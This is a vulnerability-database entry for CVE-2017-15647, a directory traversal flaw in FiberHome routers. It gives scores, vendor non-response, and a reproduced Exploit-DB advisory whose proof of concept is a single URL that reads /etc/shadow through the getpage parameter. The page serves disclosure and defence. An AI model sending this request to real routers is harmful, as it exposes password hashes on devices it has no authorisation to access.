CVE-2017-15647
high
CVSS v3
7.5
CVSS v4 NEW
—
VIR risk
8.5
Description
On FiberHome routers, Directory Traversal exists in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.
Predictions
Exploit likelihood
83%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
FiberHome - Directory Traversal
## Vulnerability Summary
The following advisory describes a directory traversal vulnerability found in FiberHome routers.
FiberHome Technologies Group “was established in 1974. After continuous and intensive development for over 40 years, its business has been extended to R&D, manufacturing, marketing & sales, engineering service, in 4 major areas: fiber-optic communications, data networking communications, wireless communication, and intelligentizing applications. In particular, it has been providing end-to- end solutions integrated with opto-electronic devices, opticpreforms, fiber & cables, and optical communication systems to many countries around the world.”
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
Update 1:
Cve issued: CVE-2017-15647
We tried to contact FiberHome since September 6 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for the vulnerability.
## Vulnerability details
User controlled input is not sufficiently sanitized when passed to /cgi-bin/webproc.
/cgi-bin/webproc receives getpage= as parameter input.
When we pass the directory of a file as a parameter input with parameter var:page, we will get the file from the router.
## Proof of Concept
```
http://+IP+ /cgi-bin/webproc?getpage=/etc/shadow&var:language=en_us&var:page=wizardfifth
```References
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.